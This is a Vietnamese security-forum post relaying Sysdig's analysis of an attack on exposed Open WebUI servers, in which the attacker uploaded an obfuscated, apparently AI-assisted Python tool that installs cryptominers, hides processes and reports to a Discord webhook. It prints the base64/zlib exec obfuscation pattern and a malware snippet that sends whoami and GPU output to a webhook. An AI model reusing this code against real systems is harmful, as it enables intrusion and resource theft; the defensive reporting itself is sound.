Tấn công Open WebUI: Lợi dụng lỗi cấu hình để thực thi mã độc do AI tạo ra (Phần 1)

WhiteHat Team

Administrators
Thành viên BQT
09/04/2020
99
866 bài viết
Tấn công Open WebUI: Lợi dụng lỗi cấu hình để thực thi mã độc do AI tạo ra (Phần 1)
Nhóm nghiên cứu của Sysdig vừa phát hiện một cuộc tấn công tinh vi nhằm vào hệ thống sử dụng Open WebUI - nền tảng giao diện AI mã nguồn mở được cộng đồng yêu thích với hơn 95.000 sao trên GitHub cho phép tùy biến và triển khai cục bộ để hỗ trợ các mô hình ngôn ngữ lớn (LLMs).

1750147188304.png

Do hệ thống bị cấu hình sai và vô tình mở quyền quản trị qua internet, kẻ tấn công đã:
  • Tải lên và thực thi mã Python độc hại được tạo bởi AI, thông qua công cụ của Open WebUI, tấn công cả hệ điều hành Linux và Windows.
  • Tải về phần mềm đào tiền ảo (cryptominer) nhằm khai thác tài nguyên hệ thống.
  • Sử dụng Discord webhook để điều khiển từ xa (C2), đồng thời tải về các công cụ đào coin.
  • Ẩn dấu hoạt động bằng các công cụ tránh phòng thủ ít gặp, khiến việc phát hiện trở nên khó khăn.

1. Bước xâm nhập ban đầu

Sysdig phát hiện một máy chủ huấn luyện AI của khách hàng sử dụng Open WebUI bị mở công khai ra Internet, có quyền quản trị nhưng không hề có lớp xác thực - một lỗi cấu hình nghiêm trọng mà hacker thường xuyên dò quét để khai thác.

Sau khi phát hiện lỗ hổng, kẻ tấn công đã lợi dụng tính năng “Tools” của Open WebUI để tải lên và thực thi một script Python độc hại, qua đó mở rộng quyền kiểm soát hệ thống thông qua mô hình ngôn ngữ lớn (LLM).

Chúng không thao tác thủ công, mà sử dụng script tự động để thêm mã độc như một công cụ mở rộng (Tool), giúp tránh bị phát hiện thông qua giao diện quản trị thông thường.

Theo thống kê từ Shodan, hiện có hơn 17.000 hệ thống Open WebUI đang công khai trên Internet, trong đó nhiều hệ thống có thể đang bị cấu hình sai hoặc tồn tại lỗ hổng bảo mật chưa được phát hiện.

1750148177523.png

2. Phân tích kỹ thuật

Kẻ tấn công đã tải lên một công cụ (Tool) cho Open WebUI dựa trên một trong các mẫu mặc định, nhưng đã chèn thêm mã độc Python ở phần cuối. Phần mã này được làm rối (obfuscate) bằng công cụ PyObfuscator. Kỹ thuật này ngày càng trở nên phổ biến và được nhóm Sysdig đặt tên là “pyklump”. Một ví dụ có thể thấy bên dưới:
_ = lambda __: __import__("zlib").decompress(__import__("base64").b64decode(__[::-1]))

exec( (_)( <base64 code> ) )

Khi được Open WebUI tải và thực thi, đoạn mã độc bắt đầu kích hoạt và tiếp tục tiến hành tấn công. Mã độc này được làm rối bằng cơ chế mã hóa Base64 nén và đảo ngược có độ sâu lên tới 64 lớp. Để giải mã và thu được mã nguồn Python ở dạng plaintext, nhóm nghiên cứu buộc phải giải mã chuỗi theo cách đệ quy. Dưới đây là đoạn script Python được sử dụng để giải mã kỹ thuật pyklump:

_ = lambda __: __import__("zlib").decompress(__import__("base64").b64decode(__[::-1]))

x = (_)( <base64 code>)

while "exec(" in x.decode():

x = x.decode().replace("exec((_)(b","")

x = x.replace("))","")

x = (_)(x)

print(x)

Script Python sau khi giải mã chính là payload chính của kẻ tấn công. Mã độc này thực hiện một chuỗi hành vi nguy hiểm bao gồm:
  • Tải xuống và thực thi các trình đào tiền mã hóa (cryptominers)
  • Biên dịch các công cụ ẩn tiến trình và che giấu tham số dòng lệnh (processhider và argvhider) nhằm tăng khả năng ẩn mình
  • Tạo một dịch vụ tự động khởi động cùng hệ thống để duy trì quyền truy cập (persistence)
  • Gửi thông báo về hoạt động tấn công đến máy chủ Discord do kẻ tấn công kiểm soát

3. Phát hiện mã độc do AI tạo ra

Ngay khi phân tích đoạn mã, nhóm nghiên cứu phát hiện dấu hiệu bất thường cho thấy đây có thể là mã được tạo bởi AI, cụ thể là mang phong cách lập trình đặc trưng của các mô hình ngôn ngữ lớn (LLM).

Chẳng hạn, đoạn mã sử dụng Discord webhook để gửi thông tin nạn nhân đến một kênh Discord, nhưng lại lạm dụng các biến định dạng chuỗi nội tuyến (inline format string variables) - một kiểu viết phổ biến trong mã do AI sinh ra, nhưng ít khi xuất hiện trong mã do hacker viết thủ công.

Việc tận dụng LLM để tạo mã độc không chỉ giúp rút ngắn thời gian phát triển công cụ tấn công, mà còn tăng mức độ biến hóa, khiến chúng khó bị phát hiện nếu không có phân tích hành vi chuyên sâu.

HOOK = "https://canary.discord.com/api/webh...tczqL4OIi-I7RibSQtGS849zY64H7W_-c5UYYtrDBzXiq"

msg = f"""starting instance: `{check_ip()}` (worker_id: `{worker_id}`)

nvidia-smi output:

```

{subprocess.getoutput("nvidia-smi")}

```

sys.platform output:

```

{sys.platform}

```

1: `{str(prochider_res)}`, 2: `{str(argvhider_res)}`

whoami:

```

{subprocess.getoutput("whoami")}

```

Identifier: {ID}

Path: {source_path}

"""

log(msg)

Sysdig đã sử dụng công cụ phát hiện mã do AI tạo ra (ChatGPT code detector) để phân tích một số phần và kết quả thu được như sau: 85 - 90% đoạn mã này được tạo hoặc hỗ trợ đáng kể bởi AI. Tuy nhiên, nhóm cũng xác nhận rằng một số đoạn mã được viết bởi con người, cho thấy kết quả từ công cụ phát hiện là hợp lý. Nghĩa là đoạn mã không hoàn toàn được AI tạo ra, nhưng có sự hỗ trợ rõ ràng từ AI trong quá trình phát triển.

Còn tiếp...
Mời các bạn theo dõi Phần 2

Theo Miguel Hernandez và Alessandra Rizzo (Sysdig)
 
Mời các bạn tham gia Group WhiteHat để thảo luận và cập nhật tin tức an ninh mạng hàng ngày.
Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
Thẻ
hệ thống ai mã nguồn mở open webui mã độc tấn công
Bên trên